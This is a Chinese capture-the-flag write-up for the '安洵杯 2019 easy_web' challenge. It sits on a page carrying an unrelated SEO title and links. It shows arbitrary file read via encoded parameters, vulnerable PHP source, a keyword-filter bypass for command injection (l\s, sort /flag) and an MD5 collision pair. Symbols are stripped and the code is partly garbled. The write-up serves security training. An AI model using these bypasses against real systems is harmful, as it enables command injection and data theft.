当前位置: 首页 > news >正文

宁波市网站建设_网站建设公司_代码压缩_seo优化

阳泉企业网站建设公司,网络设计师证书,网站开发信息文档,河南哪里网站建设公司[安洵杯 2019]easy_web 文章目录 [安洵杯 2019]easy_web掌握知识解题思路代码分析正式解题 关键paylaod 掌握知识 url地址和源代码的信息捕捉#xff1b;图片和base64之间转换#xff1b;base64和十六进制编码的了解#xff1b;代码审计#xff0c;绕过正则匹配对关键字的…[安洵杯 2019]easy_web 文章目录 [安洵杯 2019]easy_web掌握知识解题思路代码分析正式解题 关键paylaod 掌握知识 url地址和源代码的信息捕捉图片和base64之间转换base64和十六进制编码的了解代码审计绕过正则匹配对关键字的过滤MD5碰撞md5参数强转类型的强等于绕过 解题思路 打开题目地址发现网页信息狠狠地真实了WEB手。网页没看出什么内容先查看源代码发现了一个图片的html标签里面是对其图片信息进行base64的结果 没发现特别的信息看了一眼url地址发现直接给出了了两个参数查看参数名能感觉到第一个是图片名第二个应该是要执行的命令。但是第一个参数很明显是进行编码的看其很像是base64经过两次base64和一次十六进制解码得到了文件名为555.png。 联想一下刚才图片标签中的base64信息猜测修改文件名就可以进行文件读取的操作。尝试读取index.php文件先进性16进制编码在进行两次base64进行传参将标签内的base64编码进行解码得到了index.php的源代码 index.php 696e6465782e706870 Njk2ZTY0NjU3ODJlNzA2ODcw TmprMlpUWTBOalUzT0RKbE56QTJPRGN3得到了源代码就要开始代码审计了先进性一下简单分析发现关键点在cmd参数img参数传参再利用完文件读取就没有什么用处了。cmd的参数是系统命令其中需要绕过挺多的正则的但都是关键字匹配可以使用参杂符号来进行绕过关键的几个符号没有背过滤就好。在执行命令前还需要通过md5的强比较这里进行了类型的强转所以使用数组就不可以了但是相关的paylaod网上还是随便搜索的 ?php error_reporting(E_ALL || ~ E_NOTICE); header(content-type:text/html;charsetutf-8); $cmd $_GET[cmd]; if (!isset($_GET[img]) || !isset($_GET[cmd])) header(Refresh:0;url./index.php?imgTXpVek5UTTFNbVUzTURabE5qYz0cmd); $file hex2bin(base64_decode(base64_decode($_GET[img])));$file preg_replace(/[^a-zA-Z0-9.]/, , $file); if (preg_match(/flag/i, $file)) {echo img src ./ctf3.jpeg;die(xixi嚚?no flag); } else {$txt base64_encode(file_get_contents($file));echo img srcdata:image/gif;base64, . $txt . /img;echo br; } echo $cmd; echo br; if (preg_match(/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\|\|\|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\[^\d]||\||\\$|\[|\]|{|}|\(|\)|-||/i, $cmd)) {echo(forbid ~);echo br; } else {if ((string)$_POST[a] ! (string)$_POST[b] md5($_POST[a]) md5($_POST[b])) {echo $cmd;} else {echo (md5 is funny ~);} }? html stylebody{background:url(./bj.png) no-repeat center center;background-size:cover;background-attachment:fixed;background-color:#CCCCCC; } /style body /body /html代码分析 对于改题目的正则匹配ls被过滤了但是依旧可以使用参杂符号的形式来绕过例如ls l\s进行绕过这里在shell解析器中都会被当作ls执行但这里单引号被过滤了就使用后者进行绕过读取文件的命令有很多这里可以使用掺杂符号进行绕过还可以使用其他的命令进行查看文件内容。没有过滤空格和/还是不错的 if (preg_match(/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\|\|\|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\[^\d]||\||\\$|\[|\]|{|}|\(|\)|-||/i, $cmd)) {echo(forbid ~);echo br; }很明显这是md5函数绕过的判断不同以往的md5强比较的题目这里对传入的值进行了了强转字符型的操作这样就不能使用数组进行绕过了需要去进行md5碰撞得到两个字符串不相同但是md5的结果相同的。当然这在网上已经烂大街了搜索一下md5碰撞绕过也就能找到相应的paylaod。通过这波判断也就能执行传入的命令了 if ((string)$_POST[a] ! (string)$_POST[b] md5($_POST[a]) md5($_POST[b])) {echo $cmd;} else {echo (md5 is funny ~);}正式解题 绕过的条件已经分析好了直接使用分析得到了的paylaod进行抓包传参发现目录下并没有flag前去查看根目录发现flag文件。毕竟是GET传参还是bp抓包所以空格还是替换成%20才能够被解析 这里就不使用参杂符号绕过了使用sort进行读取文件得到flag 关键paylaod index.php 696e6465782e706870 Njk2ZTY0NjU3ODJlNzA2ODcw TmprMlpUWTBOalUzT0RKbE56QTJPRGN3cmdl\s cmdl\s%20/ cmdsort%20/flaga%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2b%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
http://www.ihoyoo.com/news/59224.html

相关文章:

  • 营销型网站建设目标下沙做网站
  • dede分类信息网站做网站要ftp信息吗
  • 公司电商网站开发公司模板设计
  • led网站源码wordpress修改角色管理
  • 惠城东莞网站建设我国档案网站建设
  • 网站升级改造建设方案138企业邮箱登录
  • 泉州网站建设报价wordpress高级轮播
  • microsoft免费网站南京微信网站建设
  • dede网站不能访问全国公路建设市场信用信息管理系统网站
  • 超值的扬中网站建设上海建筑设计研究院有限公司官网
  • 床上爱做网站外贸电商怎么做
  • 苏州建设网站公司深圳南山区网站建设公司
  • 北京国税局网站官网入口网站如何做漂浮窗
  • 建网站空间的详细说明做网站的好项目
  • 亚洲网站正在建设中做网站虚拟主机哪家好
  • 电商网站开发文档广州网站建设新科分公司
  • 做教育app的网站wordpress 离线发布
  • 企业做网站需要多少钱如何做网站好看
  • 怎么查寻一个网站做的竞价企业信息登记号查询系统
  • 贵州住房与城乡建设部网站山东网站备案网站
  • 在国际网站做外贸需要条件装饰公司网站源码下载
  • 网站建设竣工验收报告婚恋网站排名
  • 网站制作全包价格制作企业宣传片的厂家
  • 网站登录慢广州有哪些网站建设
  • 还有多少用.net做网站的wordpress用户中心
  • 做网站图片视频加载慢网站建设预算申请如何写
  • 菏泽哪家网站设计公司好重庆专业平台推广公司
  • php商城建站系统遵义网站建设公司价格
  • index.html网站怎么做推广app最快的方法
  • 营销型网站建设需要有什么功能龙岗这边哪里有教做网站的